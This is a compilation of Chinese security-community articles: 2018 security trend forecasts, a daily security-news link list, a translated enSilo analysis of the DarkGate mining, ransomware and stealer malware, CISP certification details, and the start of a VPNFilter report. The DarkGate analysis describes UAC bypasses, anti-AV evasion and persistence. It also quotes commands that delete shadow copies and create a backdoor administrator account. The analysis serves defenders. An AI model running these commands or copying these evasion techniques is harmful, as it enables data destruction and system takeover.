## 安全实施演变成安全能力交付，政企机构从购买产品到购买服务，安全服务化将快速成长
安全服务化是一个近几年来早已经出现的概念，不少安全机构和企业也致力于推动这一趋势的发展。然而，就近几年来的网络安全市场来说，更多的政企用户更倾向于购买安全设备，把硬件盒子放在企业，能够让人更放心。
而随着网络安全威胁形势的不断变化，以及越来越严苛的网络安全监管环境，政企用户对于安全的需求在不断增强，他们的安全需求从基本合规逐步转向真正的安全防护需求。从2017年已经出现的几起政企服务案例来看，已经有政企客户在网络安全采购中从购买产品转到了购买服务，在与安全厂商签定的网络安全合同中安全服务成为了最主要内容，而安全的软硬件产品则成为了配合选项。
一方面是安全防御技术不断创新，大数据安全、威胁情报、机器学习、云安全被越来越多的应用于政企用户的安全防护体系中，新的技术、新的知识对于企业现有的安全管理人员来说是一种挑战；另一方面，在面对越来越多的高级威胁、重大安全事件中，政企用户自身缺少专业的安全人才来更及时、有效的应对。
2018年，政企用户在网络安全方面的支出将进一步增加，以服务的形式购买安全能力、以云的方式交付安全能力将成为趋势。Gartner认为，“安全服务特别是IT外包、咨询与实施部署服务将成为增长速度最快的细分领域。不过在另一方面，硬件支持服务增长速度缓慢，这主要是由于虚拟设备、公有云以及安全解决方案的各类软件即服务（简称SaaS）版本持续普及给其带来巨大冲击。这意味着客户对于附加硬件支持的整体需求将不断下降。”
## 隐私保护从争议话题开始迈向通过法律和技术方案的务实推进
随着我国信息化建设的不断推进和互联网应用的日趋普及，在推动社会发展和技术变革的同时，也为企业和个人信息保护带来了新的挑战。个人信息在被各类主体挖掘和利用的同时，因个人信息泄露所引发的侵权、欺诈等信息犯罪行为日益严重，已为全社会造成了巨大损失，隐私保护、个人信息保护已经成为争议的热点话题。
为应对云计算、大数据、移动互联网及跨境数据处理等应用场景所带来的新挑战，2016 年欧盟通过了新的数据保护法案《一般数据保护条例》（General Data
Protection Regulation，GDPR）并将于 2018
年5月生效。GDPR对公司总部位于欧盟国家的企业，以及与欧盟公民相关并拥有公民个人数据的全球企业同样有效。Gartner预测到2018年，超过50%的公司将受到GDPR影响，且将会制造了新一轮热点驱动2018年数据安全的市场投入增加65%。
目前我国没有统一的个人信息保护法，虽然《网络安全法》作为我国网络领域的基础性法律将个人信息保护列入其中，既是出于国家网络空间主权和网络安全考虑，也是对当前个人网络信息安全严峻现实的直接回应，但远不能全方位地保护个人信息安全，也存在个人信息保护的法律漏洞。但是通过“徐玉玉案”等一系列案件给社会带来的不良影响，使人们充分意识到了个人信息泄露和滥用所带来的严重社会危害，同时也催生个人信息保护立法落地。
## 数据成为数字化转型时代的“石油”，数据安全保卫战将全面打响
市场研究公司IDC预测全球数字化转型技术2018年的支出将在2017年1.1万亿美元的基础上增加16.8%，达到近1.3万亿美元。数字化转型加速了互联网、云计算、大数据、物联网、人工智能等技术在整个国家和社会的应用，也由此带来了国家经济社会运行和发展对于数据的依赖，数据由此成为数字化转型时代石油一样的战略型资源。
对于数据的觊觎成为网络攻击的重要目标之一，这也是2016年以来勒索病毒爆发式增长的原因。对2017年全球发生的近300起重大安全事件分析发现，其中75%的事件与数据泄露、数据窃取和数据勒索有关，而且有趣的是，数据泄露越来越丰富，我们能想象到或者接触到的数据都泄露了。
根据Verizon数据泄露调查报告,75%的数据泄露是外部人所为，也就是各种网络攻击造成的，而其他25%是由内部威胁造成的，所以数据安全面临内忧外患。我们近期对近50位国内部委和重要行业网信负责人的调研发现，数据安全是他们最头痛的事，也是2018年要重点做好的事情，尤其是一些关系国家安全、经济发展和社会稳定的关键机构和命脉企业，把数据管好、保护好成为网络安全工作的第一要务。
《网络安全法》2017年6月1日正式实施依赖，已经发生了多起企业、机构和平台由于数据保护不利或者因数据保护相关法规执行不到位被处罚的案例。12月8日在中共中央政治局实施国家大数据战略进行第二次集体学习中，习近平总书记强调，要切实保障国家数据安全。要加强关键信息基础设施安全保护，强化国家关键数据资源保护能力，增强数据安全预警和溯源能力。可以预见，在业务需求和监管双重压力下，2018年，数据安全保卫战将在网络安全领域全面打响。 | 社区文章 |
# 3月16日安全热点–GrayKey解锁工具盒首次曝光,iphone分分钟被破解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
GrayKey 解锁工具盒首次曝光，iphone分分钟被破解
<https://blog.malwarebytes.com/security-world/2018/03/graykey-iphone-unlocker-poses-serious-security-concerns/>
HYPERBOLE围绕AMD处理器引发安全威胁
<https://threatpost.com/hyperbole-swirls-around-amd-processor-security-threat/130481/>
语音设备,企业安全和’Big Truck’ 攻击
[ https://www.darkreading.com/endpoint/voice-operated-devices-enterprise-security-and-the-big-truck-attack–/a/d-id/1331261?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple](https://www.darkreading.com/endpoint/voice-operated-devices-enterprise-security-and-the-big-truck-attack--/a/d-id/1331261?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple)
PinkKite POS Malware——一种新颖的数据泄露软件
[ https://www.tripwire.com/state-of-security/latest-security-news/unique-data-exfiltration-method-makes-pinkkite-pos-malware-stand-out/](https://www.tripwire.com/state-of-security/latest-security-news/unique-data-exfiltration-method-makes-pinkkite-pos-malware-stand-out/)
美国称俄罗斯在其能源电网上发起了网络攻击
[ https://news.hitb.org/content/us-says-russia-launched-cyberattack-its-energy-grid](https://news.hitb.org/content/us-says-russia-launched-cyberattack-its-energy-grid)
遇见斯嘉丽约翰逊——PostgreSQL恶意软件攻击
流行女星的图像被用作开源DBMS PostgreSQL上的恶意软件攻击媒介。
[ http://www.zdnet.com/article/meet-the-scarlett-johansson-postgresql-malware-attack/](http://www.zdnet.com/article/meet-the-scarlett-johansson-postgresql-malware-attack/)
在5百万热门Android手机上发现预装恶意软件
[ https://thehackernews.com/2018/03/android-botnet-malware.html](https://thehackernews.com/2018/03/android-botnet-malware.html)
NEW WEB-BASED MALWARE DISTRIBUTION CHANNEL ‘BLACKTDS’ SURFACES
[ https://threatpost.com/new-web-based-malware-distribution-channel-blacktds-surfaces/130431/](https://threatpost.com/new-web-based-malware-distribution-channel-blacktds-surfaces/130431/)
预警：三种流行的vpn服务正泄露你的ip地址
[ https://thehackernews.com/2018/03/vpn-leak-ip-address.html](https://thehackernews.com/2018/03/vpn-leak-ip-address.html)
## 技术类
CVE-2017-13253：多个Android DRM服务中的缓冲区溢出
[ https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)
Chrome: V8: Empty BytecodeJumpTable may lead to OOB read
[
https://www.seebug.org/vuldb/ssvid-97176](https://www.seebug.org/vuldb/ssvid-97176)
Samba 4.x密码更改
<https://cxsecurity.com/issue/WLB-2018030123>
个人区域网络中的漏洞（PAN）
<https://www.beyondtrust.com/blog/vulnerabilities-personal-area-networks-pan/>
帮助Android应用欺骗X-App-Token的应用
<https://0x00sec.org/t/help-spoofing-x-app-token-of-an-android-app/5849>
分析VPC流日志
<https://blog.totalcloud.io/analyze-vpc-flow-logs-security-performance/>
## 以下技术热点来自360cert
1.CVE-2017-3066 : Adobe ColdFusion 反序列化漏洞
<http://t.cn/Rn2VzDQ>
2.CVE-2018-0886：”MS-RDP 逻辑 RCE 漏洞” 初步解读
<http://t.cn/RnwTetr>
3.MikroTik的RouterOS系统中的SMB发现缓冲区溢出漏洞
<http://t.cn/Rn2tBzk>
4.VMSA-2018-0008：VMware Workstation 拒绝服务攻击
<http://t.cn/Rn2tin6>
5.CVE-2018-1319:Apache Allura HTTP response splitting
<http://t.cn/Rn2tKQG>
6.预警揭秘：倒计时炸弹11.2.0.4前版本DB Link必须在2019年4月升级真相
<http://t.cn/Rn2ivaS>
7.利用webhooks 绕过支付
<http://t.cn/Rn7Z5kK> | 社区文章 |
# 进入黑暗之门（DarkGate)：新型加密货币挖掘和勒索软件运动
|
##### 译文声明
本文是翻译文章，文章原作者 Ensilo，文章来源：ensilo.com
原文地址：<https://blog.ensilo.com/darkgate-malware>
译文仅供参考，具体内容表达以及含义原文为准。
一场活跃且隐秘的加密货币挖掘和勒索软件活动正在感染西班牙和法国的目标用户，该软件利用多种绕过技术来逃避传统AV的检测。
## 恶意软件活动概要
最近，enSilo研究员Adi
Zeligson发现了一个名为DarkGate的，从未被侦测到过且高度复杂的恶意软件活动。DarkGate恶意软件针对Windows工作站并由反应式命令和控制系统提供支持，该软件通过Torrent文件传播。当用户运行时，DarkGate恶意软件能够避免多个AV产品的检测并执行多个有效负载，包括加密货币挖掘，加密窃取，[勒索软件](https://www.ensilo.com/faq/ransomware-faq)以及远程控制端点的能力。
DarkGate恶意软件的关键元素如下：
* 利用隐藏在包括Akamai CDN和AWS在内的合法服务的合法DNS记录中的C＆C基础架构，帮助其避免基于信誉的检测技术。
* 使用多种方法绕过传统AV具有厂商特性的检查规则和操作（包括使用process hollowing技术）。
* 能够通过几种已知的恢复工具来避免关键文件被查杀。
* 使用两种不同的用户帐户控制（UAC）绕过技术来提权。
* 能够触发多个有效载荷，其功能包括加密货币挖掘，加密窃取（盗窃与加密钱包相关的凭证），勒索软件和远程控制。
下面对DarkGate恶意软件的技术分析演示了高级恶意软件如何避免传统AV产品的检测，并强调了[enSilo端点安全平台](https://www.ensilo.com/product/)的感染后保护功能的重要性。
## 技术分析
恶意软件被作者命名为DarkGate，其旨在感染整个欧洲的受害者目标，特别是在西班牙和法国。DarkGate具有多种功能，包括加密挖掘，窃取加密钱包凭证（加密窃取），勒索软件和远程访问及控制。
enSilo观察到，这个恶意软件背后的作者建立了一个反应性的命令和控制基础设施，由人工操作员配备，他们根据收到的加密钱包的新感染通知采取行动。当操作员通过其中一个恶意软件检测到任何有趣的活动时，他们会去在机器上安装自定义远程访问工具以进行手动操作。
作为我们正常研究活动的一部分，我们偶尔会对看似合法的用户端点进行受控感染。进行受控感染是为了研究恶意软件的几个方面，以及恶意软件操作员的反应性。例如，在一次不期而遇的碰撞中，我们的[研究团队](https://www.ensilo.com/services/)能够确定操作员检测到了我们的活动，并通过使用定制的勒索软件感染测试机器，从而立即做出响应。
看来，这个恶意软件背后的作者投入了大量的时间和精力，通过利用多种逃避技术来保持不被发现。使用的技术之一是用户模式挂钩绕过，这使得恶意软件能够在很长一段时间内逃避各种AV解决方案的识别。
enSilo研究团队追踪“DarkGate”及其变种，并发现大多数AV供应商未能检测到它。正是这一发现促使我们开始研究技术分析部分中描述的恶意软件的独特特征。很明显，DarkGate正在不断发展，因为它正在通过每个新变体进行改进。
我们还需要进一步调查以确定恶意软件背后的最终动机。虽然加密货币挖掘，加密窃取和勒索软件功能表明该软件的目标是获取经济利益，但目前尚不清楚作者是否有另一个动机。
## 家族纽带
在DarkGate中，我们能够识别其与之前检测到的名为[Golroted](https://www.bankinfosecurity.asia/cert-in-warns-info-stealing-trojan-a-8444)的密码窃取程序恶意软件的关系。Golroted恶意软件因其使用Nt *
API调用来执行process
hollowing而引人注目。此外，Golroted使用第二种技术—UAC绕过，基于称为SilentCleanup的计划任务。而DarkGate都用到了这两种技术。
在Golroted和DarkGate之间进行二进制差异比较后，我们发现了大量重叠代码。如图1所示，两个恶意软件变体都在进程vbc.exe上执行process
hollowing方法。但是，DarkGate包含一个稍微修改过的process hollowing函数版本。
图1 GOLRATED和DARKGATE间的二进制差异
## 感染策略和方法
我们辨别出了DarkGate作者以及Golroted作者都使用了的两种不同的感染方法。这两种感染方法都是通过Torrent文件传播的，这些文件是一部受欢迎的电影和一部会在受害者机器上执行VBscript的电视连续剧。
第二个文件，the-walking-dead-9-5-hdtv-720p.torrent.vbe，使用一种更为琐碎的方法来感染受害者。它从具有欺骗性的地址来分发包含恶意附件的电子邮件。其示例如图3所示。
图2 种子文件的截屏
图3 通过the-walking-dead-9-5-hdtv-720p.torrent.vbe分发的邮件示例
## 解开DARKGATE恶意软件的四个阶段
DarkGate恶意软件使用的独特技术之一在于其多阶段解包方法。被执行的第一个文件是一个混淆过的VBScript文件，它起到一个dropper的作用并执行多个操作。在第一阶段，几个文件被放入隐藏文件夹“C：
{username}”。这些文件是autoit3.exe，在某些版本中伪装成随机名称test.au3，pe.bin和shell.txt。接下来，使用放入的autoit3.exe实例来执行test.au3
AutoIt脚本。
图4 去混淆的VBS
在第二阶段，AutoIt代码在startup文件夹下创建名称为“bill.ink”的其自身的快捷方式。一旦完成，它将触发第三阶段，其中存储在文件“C：
{username} shell.txt”中的二进制代码将被解密并得到执行。AutoIt脚本使用一种相当不寻常的技术来执行二进制代码。该技术涉及的步骤是：
* 将二进制代码从shell.txt加载到进程内存中。
* 将数据复制到可执行的内存空间（DLLStructCreate和DllStructSetData）。
* 调用CallWindowProc并引用我们的二进制代码作为lpPrevWndFunc参数。
图5 去混淆的AUTOIT脚本
最后，在解包技术的第四个也是最后一个阶段，最初从shell.txt加载的二进制代码执行以下操作：
* 搜索可执行文件，该文件也是Kaspersky AV中可执行文件的名称。
* 读取放入的文件“pe.bin”并解密它。
* 使用[process hollowing](https://attack.mitre.org/techniques/T1093/)技术，将pe.bin解密后的代码注入进程“vbc.exe”。
我们发现，如果DarkGate检测到卡巴斯基AV的存在，它会将恶意软件作为shellcode的一部分加载，而不是使用process
hollowing方法。解密的pe.bin文件是DarkGate的核心。核心负责与C＆C（命令和控制）服务器的通信以及执行从其接收的命令。
让我们总结一下这个分为四阶段的拆包技术
1.使用VBScript提供初始dropper代码，将所有相关文件写入受害者的机器：
* autoit3.exe
* test.au3
* pe.bin
* shell.txt
一旦完成，然后就开始运行AutoIt脚本。
2.AutoIt脚本使用AutoIt解释器运行，解释器解密二进制代码并将其加载到内存中。
3.然后二进制代码得到执行，并尝试避免卡巴斯基AV的检测。
4.最后的二进制文件被解密并执行。
图6 解包技术的四个阶段
最终的二进制文件将所有文件从“C:{computer_name}”复制到“C:Program
data”下的新文件夹，文件夹的名称是用户生成的id的前八位数字（ID2 – 稍后解释）。
最终的二进制文件在注册表中安装了一个键，从而使得该文件在键值“SOFTWAREMicrosoftWindowsCurrentVersionRun”的帮助下保持持久性：。
键的名称是用户生成id的前八位，值是从C:{computer_name}复制到“program data”文件夹的AutoIt脚本，如下面的图7所示：
图7 用于建立持久性的注册键值示例
## 加密货币挖掘
恶意软件与C＆C服务器建立的第一个连接的目的就是获取启动加密货币挖掘进程所需的文件。
图8 检索文件
如图9所示，指令“startminer”作为响应的一部分被发送，以告知恶意软件开始挖掘并分离消息的不同部分。第一部分被加密写入config.bin-该部分是矿工命令行。第二部分被写入cpu.bin，当解密时是矿工可执行文件。挖掘本身是借助process
hollowing技术，通过“systeminfo.exe”进程完成的。
图9 检索加密矿工payload
## 窃取加密钱包凭据
恶意软件的另一个功能是它可以搜索和窃取加密钱包的凭据。恶意软件在前台窗口的名称中查找与不同类型的加密钱包相关的特定字符串，如果找到匹配的字符串，则向服务器发送适当的消息。
下表包含目标钱包网站/应用程序的列表：
搜索的字符串 | 目标
---|---
sign-in / hitbtc | <https://hitbtc.com/>
binance – log in | <https://www.binance.com/login.html>
litebit.eu – login | <https://www.litebit.eu/en/login>
binance – iniciar sesi | <https://www.binance.com/login.html>
cryptopia – login | <https://www.cryptopia.co.nz/Login>
user login – zb spot exchange |
sign in | coinEx | <https://www.coinex.com/account/signin?lang=en_US>
electrum | <https://electrum.org/#home>
bittrex.com – input | <https://international.bittrex.com/>
exchange – balances |
eth) – log in |
blockchain wallet | <https://www.blockchain.com/wallet>
bitcoin core | <https://bitcoincore.org/>
kucoin | <https://www.kucoin.com/#/>
metamask | <https://metamask.io/>
factores-Binance |
litecoin core | <https://litecoin.org/>
myether | <https://www.myetherwallet.com/>
表一：目标加密钱包和字符串值
## 命令与控制
从目前为止看到的情况来看，似乎DarkGate的作者利用了复杂的技术来避免端点和网络安全产品的检测。
该恶意软件包含六个硬编码域，如下所示，它将在感染时尝试与之通信。看起来域名是谨慎选择出来的，以将C＆C服务器伪装成Akamai
CDN或AWS等已知合法服务，并避免使得可能正在监控网络流量的任何人产生怀疑。
* akamai.la
* hardwarenet.cc
* ec2-14-122-45-127.compute-1.amazonaws.cdnprivate.tel
* awsamazon.cc
* battlenet.la
* a40-77-229-13.deploy.static.akamaitechnologies.pw
此外，似乎作者采用了另一种技巧，使用看起来像来自Akamai或亚马逊的合法rDNS记录的NS记录。使用rDNS背后的想法是，任何监控网络流量的人都会忽略并且不对它们做处理。
## 避免检测的两种方法
看起来DarkGate的作者最担心的是AV软件的检测。他们在反VM和用户验证技术方面投入了大量精力，而不是反调试措施方面。
## 反VM：机器资源检查
DarkGate用来避免AV软件检测的第一种方法判定恶意软件是否已落入沙箱/虚拟机内。基于所使用的策略，我们认为作者假设沙箱/虚拟机（VMs）通常资源较少，这通常是正确的，因为沙箱通常会经过优化以包含尽可能多的VM。
在图10中，我们可以看到使用Delphi的Sysutils ::
DiskSize和GlobalMemoryStatusEx来收集磁盘大小和物理内存。如果机器包含的磁盘空间少于101GB或者等于4GB
RAM，则将其视为VM，恶意软件将自动终止。
图10 检查机器硬盘和内存
## 反-AV
DarkGate会尝试检测表2中列出的任何AV解决方案是否存在于受感染的计算机上。对于大多数AV解决方案，如果恶意软件检测到任何的这些AV解决方案，它只会通知服务器，但对卡巴斯基，Trend
Micro和IOBIt除外。
进程名称 | 解决方案
---|---
astui.exe | Avast
avpui.exe | Kaspersky
avgui.exe | AVG
egui.exe | Nod32
bdagent | Bitdefender
avguard.exe | Avira
nis.exe | Norton
ns.exe | Norton
nortonsecurity.exe | Norton
uiseagnt.exe | Trend Micro
bytefence.exe | ByteFence
psuaconsole.exe | Panda
sdscan.exe | Search & Destroy
mcshield.exe | McAfee
mcuicnt.exe | McAfee
mpcmdrun.exe | Windows Defender
superantispyware.exe | SUPER AntiSpyware
vkise.exe | Comodo
mbam.exe | MalwareBytes
cis.exe | Comodo
msascuil.exe | Windows Defender
表2 DARKGATE恶意软件搜索的AV可执行文件
卡巴斯基，IOBit或TrendMicro存在AV解决方案会触发特殊情况：
* IOBit：如果路径“C:Program Files(x86)IObit”存在，恶意软件将尝试通过终止它来处理名为“monitor.exe”的进程。此外，它将生成一个新线程，该线程将重复查找进程“smBootTime.exe”并终止它（如果存在）。
* Trend Micro：如果检测到Trend Micro的AV进程名称，则代码将不会执行键盘记录线程。
* 卡巴斯基：恶意软件在执行期间会进行多次检查，无论是在解包过程中还是在恶意软件本身，都会对卡巴斯基AV是否存在进行检测。
* 如果在最终的可执行文件中检测到卡巴斯基AV且机器启动时间不到5分钟，那么它将不会启动键盘记录线程和负责以下内容的更新线程：
* 将所有与恶意软件相关的文件复制到“C:Program Data”下的文件夹中。
* 执行下一节将描述的恢复工具检查。
* 如果在shellcode中检测到卡巴斯基AV并且系统启动时间超过4分钟10秒，它将不会使用process hollowing技术来执行最终的可执行文件，而是加载它并直接执行它。
## 恢复工具
恶意软件还尝试使用表3中列出的进程名称检测多个已知的恢复工具：
进程名 | 目标
---|---
adwcleaner.exe | MalwareBytes Adwcleaner
frst64.exe | Farbar Recovery Scan Tool
frst32.exe | Farbar Recovery Scan Tool
frst86.exe | Farbar Recovery Scan Tool
表3：恢复工具进程名和目标
如果发现此类进程，恶意软件将启动一个新线程，该线程将每20秒重新分配生成恶意软件文件，确保如果文件在恢复工具的生命周期内被删除，则将重新创建并重新定位到其他位置。
## 直接的SYSCALL调用
为了隐藏process
hollowing技术的使用，DarkGate使用了一种特殊功能，使其能够直接调用内核模式下的函数。这可以潜在地帮助恶意软件逃避调试器设置的任何断点，以及避免由不同安全产品设置的用户区挂钩。
## 它是如何工作的？
使用ntdll.dll中的函数时，会对内核进行系统调用。调用的方式在32位和64位系统之间是不同的，但它们最终都调用了在两个体系结构之间不同的函数“KiFastSystemCall”。“KiFastSystemCall”函数用于在RING3和RING0之间切换。Darkgate恶意软件避免以正常的方式加载ntdll.dll函数，而是创建自己的“KiFastSystemCall”函数来进行系统调用。
DarkGate是一个32位进程，由于切换到内核时系统之间存在差异，因此在64位系统上运行时可能会遇到困难。为了在进程中使用正确的“KiFastSystemCall”函数，Darkgate恶意软件通过搜索路径“C:WindowsSysWOW64ntdll.dll”来检查它正在运行的架构。如果此路径存在，则表示该进程正在64位系统上运行。
图11：根据体系结构分配正确的函数
在32位系统中，“KiFastSystemCall”函数将如下所示：
图12：32位系统下的KIFASTSYSTEMCALL函数
在64位系统中，以下代码用于从32位进程调用“KiFastSystemCall”64位函数：
图13：64位系统下KIFASTSYSTEMCALL函数
偏移“fs：0C0h”是wow64中TEB（线程信息块）中指向“FastSysCall”的指针。该指针指向“wow64cpu.dll”中的地址，该地址跳转到64位“KiFastSystemCall”函数。DarkGate恶意软件将ntdll请求的函数系统调用号和所需的参数传递给指定的函数。这样就可以调用内核函数，而无需从ntdll.dll中调用该函数。最后，DarkGate恶意软件创建了自己的“KiFastSystemCall”以绕过ntdll.dll。
我们发现了类似的[代码](https://cybercoding.wordpress.com/2012/12/01/union-api/)，可能是DarkGate代码的来源。
## UAC绕过功能
DarkGate使用两种不同的UAC绕过技术来尝试提升权限。
### 磁盘清理绕过
第一个UAC绕过技术利用名为DiskCleanup的计划任务。此计划任务使用路径%windir%
system32cleanmgr.exe来执行实际的二进制文件。因此，恶意软件使用注册表项“HKEY_CURRENT_USEREnviromentwindir”来覆盖%windir%环境变量，其中包含将执行AutoIt脚本的备用命令。这个绕过过程可以参考[Tyranid的巢穴](https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html)。
图14：磁盘清理UAC绕过
### EVENTVWR UAC绕过
另一个UAC绕过漏洞利用eventvwr.exe默认以高完整性运行的特性，将会执行mmc.exe二进制文件（Microsoft管理控制台）。mmc.exe命令取自注册表项“HKCUSoftwareClassesmscfileshellopencommand”。此注册表项也可从较低的完整性级别写入，这使其能够以更高的完整性执行AutoIt脚本。
图片15：EVENTVWR UAC绕过
## 键盘记录
将会启动一个线程，负责捕获所有键盘事件并将它们记录到预定义的日志文件中。除了记录密钥日志之外，它还记录前台窗口和剪贴板。日志以下面列出的目录中的名称“current
date.log”保存：
“C:\users\\{username}\appdata\roaming\\{ID1}”.
图16：键盘记录日志
## 信息窃取
DarkGate使用一些NirSoft工具来窃取受感染机器的凭据或信息。使用的工具集使其能够窃取用户凭据，浏览器cookie，浏览器历史记录和Skype聊天记录。所有工具都通过process
hollowing技术执行到新创建的vbc.exe或regasm.exe实例中。
DarkGate使用以下应用程序来窃取凭据：
* 邮件PassView
* WebBrowserPassView
* ChromeCookiesView
* IECookiesView
* MZCookiesView
* BrowsingHistoryView
* SkypeLogView
从工具收集的结果数据是从主机进程存储器中提取的。DarkGate恶意软件首先使用FindWindow
API函数查找工具的窗口。然后它使用SysListView32控件和sendMessage
API函数来检索工具所需的信息。检索的工作原理是首先在图17所示的挖空的(hollowed)进程中分配一个内存缓冲区。
图17：在中空的(hollowed)进程中的内存分配
然后它将使用“GetItem”函数使其将项目写入分配的缓冲区。通过使用消息“LVM_GETITEMA”和分配的缓冲区作为参数，调用API函数“SendMessage”来使用“GetItem”函数：
图18：GETITEM消息以及从中空的(hollowed)进程中检索项目
将项目写入分配的缓冲区后，它将读取此内存区域并获取被盗信息。
## 删除还原点
恶意软件能够删除所有还原点，包括“cmd.exe /c vssadmin delete shadows /for=c：/all /quiet”
## RDP安装
此命令将使用process
hollowing方法解密并执行接收的文件，该文件可能是rdp连接工具。在这种情况下，中空(hollowed)进程是%temp%目录中的systeminfo.exe的副本。
此外，将使用cmd.exe执行以下命令：
* exe /c net user /add SafeMode Darkgate0！
* exe /c net localgroup administrators SafeMode /add
* exe /c net localgroup administradores SafeMode /add
* exe /c net localgroup administrateurs SafeMode /add
有趣的是，新创建的用户被添加到西班牙语和法语管理组。
## GETBOTDATA
服务器可以请求以下有关受害者的详细信息：
* 语言环境
* 用户名
* 电脑名称
* 窗口名称
* 自主机上次输入以来经过的时间段
* 处理器类型
* 显示适配器说明
* RAM大小
* 操作系统类型和版本
* 是否为用户管理员
* config.bin的加密内容
* 新纪元时间
* AV类型 – 按进程名称搜索，如果未找到此字段将包含文本“Unknown”。
在某些版本中 – 还会查找文件夹“c:Program Filese-Carte
Bleue”（我们认为可能是DarkGate保存其屏幕截图的文件夹）。然后将数据加密并发送到服务器。此外，它在%appdata%
path下创建文件Install.txt，并在其中写入新纪元时间。
* 恶意软件版本
* 连接使用的端口
## IOCS
DOMAINS
---
akamai.la
hardwarenet.cc
ec2-14-122-45-127.compute-1.amazonaws.cdnprivate.tel
awsamazon.cc
battlenet.la
a40-77-229-13.deploy.static.akamaitechnologies.pw
SAMPLE HASHES
---
3340013b0f00fe0c9e99411f722f8f3f0baf9ae4f40ac78796a6d4d694b46d7b
0c3ef20ede53efbe5eebca50171a589731a17037147102838bdb4a41c33f94e5
3340013b0f00fe0c9e99411f722f8f3f0baf9ae4f40ac78796a6d4d694b46d7b
0c3ef20ede53efbe5eebca50171a589731a17037147102838bdb4a41c33f94e5
52c47a529e4ddd0778dde84b7f54e1aea326d9f8eeb4ba4961a87835a3d29866
b0542a719c6b2fc575915e9e4c58920cf999ba5c3f5345617818a9dc14a378b4
dadd0ec8806d506137889d7f1595b3b5447c1ea30159432b1952fa9551ecfba5
c88eab30fa03c44b567bcb4e659a60ee0fe5d98664816c70e3b6e8d79169cbea
2264c2f2c2d5a0d6d62c33cadb848305a8fff81cdd79c4d7560021cfb304a121
3c68facf01aede7bcd8c2aea853324a2e6a0ec8b026d95c7f50a46d77334c2d2
a146f84a0179124d96a707f192f4c06c07690e745cffaef521fcda9633766a44
abc35bb943462312437f0c4275b012e8ec03899ab86d353143d92cbefedd7f9d
908f2dfed6c122b46e946fe8839feb9218cb095f180f86c43659448e2f709fc7
3491bc6df27858257db26b913da8c35c83a0e48cf80de701a45a30a30544706d | 社区文章 |
## 简介
CISP既“注册信息安全专业人员”，英文为Certified Information Security Professional
(简称CISP)，CISP系经中国信息安全产品测评认证中心实施国家认证。系国家对信息安全人员资质的最高认可。根据实际岗位工作需要分为三类,分别是注册信息安全工程师简称-CISE,注册信息安全管理人员-简称CISO,注册信息安全审核员简称-CISA。其中，CISE主要从事信息安全技术开发服务工程建设等工作，CISO从事信息安全管理等相关工作，CISA从事信息系统的安全性审核或评估等工作。这三类注册信息安全专业人员是有关信息安全企业、信息安全咨询服务机构、信息安全测评机构、社会各组织、团体、企事业有关信息系统（网络）建设、运行和应用管理的技术部门（含标准化部门）必备的专业岗位人员，其基本职能是对信息系统的安全提供技术保障，其所具备的专业资质和能力，系经中国信息安全测评中心实施注册。
## 报考条件
* 教育与工作经历
硕士研究生以上，具有1年工作经历；或本科毕业，具有2年工作经历；或大专毕业，具有4年工作经历。
* 专业工作经历
至少具备1年从事信息安全有关的工作经历。
* 培训资格
在申请注册前，成功地完成了CNITSEC或其授权培训机构组织的注册信息安全专业人员培训课程相应资质所需的分类课程，并取得培训合格证书。
## 费用
* 培训费
* 教材费
* 考试费
* 认证费
* 年金（每年300 每次要缴3年）
## 报考方式
* 直接找培训机构辅助填写资料，缴纳 足够的费用
参加一定时间的培训即可参加考试
## 附件
* 考试范围和内容可以大概参考一下附件
链接(7天有效): <https://pan.baidu.com/s/1geJunV9> 密码: b8np | 社区文章 |
# VPNFilter III：恶意软件中的瑞士军刀
##### 译文声明
本文是翻译文章，文章原作者 Talos，文章来源：talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
[VPNFilter](https://blog.talosintelligence.com/2018/05/VPNFilter.html)是一款多阶段的模块化框架，已经影响全球数十万台网络设备，现在这个框架已经具备更为强大的功能。最近思科Talos发现这款恶意软件中新增了7个模块（第3阶段VPNFilter模块），极大扩展了自身功能，还能以已突破网络设备为据点攻击端点设备，此外还包含数据过滤以及多重加密隧道功能，可以隐蔽命令与控制（C2）及数据传输流量。虽然我们以及合作伙伴的研究成果已经能够抵御来自VPNFilter的大部分威胁，但如果有些设备没有部署针对性防御方案，这款恶意软件依然可以隐蔽于实际环境中。
Talos几个月以来一直在研究VPNFilter，并在5月份发布了最初的[研究报告](https://blog.talosintelligence.com/2018/05/VPNFilter.html)，在6月份介绍了该框架使用的[其他模块](https://blog.talosintelligence.com/2018/06/vpnfilter-update.html)。在后续研究过程中，我们研发了一项技术，能够识别MikroTik网络设备所使用的某个关键协议，以便搜寻攻击者可能利用的攻击方法。
在跟踪VPNFilter的感染情况时，我们发现MikroTik网络设备受到了来自攻击者的严重威胁（特别是在乌克兰境内的设备）。由于这些设备对攻击者的目标来说似乎非常重要，因此我们想进一步理解攻击者对这些设备的具体利用方式，我们还学习了MikroTik的Winbox管理工具所使用的具体协议。在本文中，我们想与大家分享我们研究该协议的出发点和具体方式，以及我们开发的一款解码器工具，安全社区可以使用该工具来分析该协议，寻找潜在的恶意攻击行为。
VPNFilter非常复杂，所有人以及所有组织都应该对此保持高度重视。只有高级的、有组织的防御方才能对抗这类威胁，并且VPNFilter的规模已经非常庞大，我们永远不能忽视这些新发现。
## 二、新增功能
新发现的VPNFilter第三阶段模块大大拓展了我们对已知威胁的理解深度，这些模块新增了如下功能：
1、可以用来映射网络，攻击与VPNFilter控制的设备相连接的端点。
2、通过各种方式混淆以及/或者加密恶意流量，包括C2流量以及数据通信流量。
3、利用多款工具来识别其他受害者，攻击者可以利用已被VPNFilter突破的网络设备为据点来访问这些受害者，实现网内横向渗透，也能用来识别攻击者感兴趣的其他网络的边际设备。
4、支持构建分布式代理网络，可以在未来不相关的攻击活动中使用，用来混淆攻击源的真实流量，让外界误以为攻击来自于先前被VPNFilter控制的设备。
逆向分析这些模块后，我们可以确认恶意软件的具体功能。在此之前，我们只能根据感知数据来分析这些功能，这样难免会出现一些纰漏。
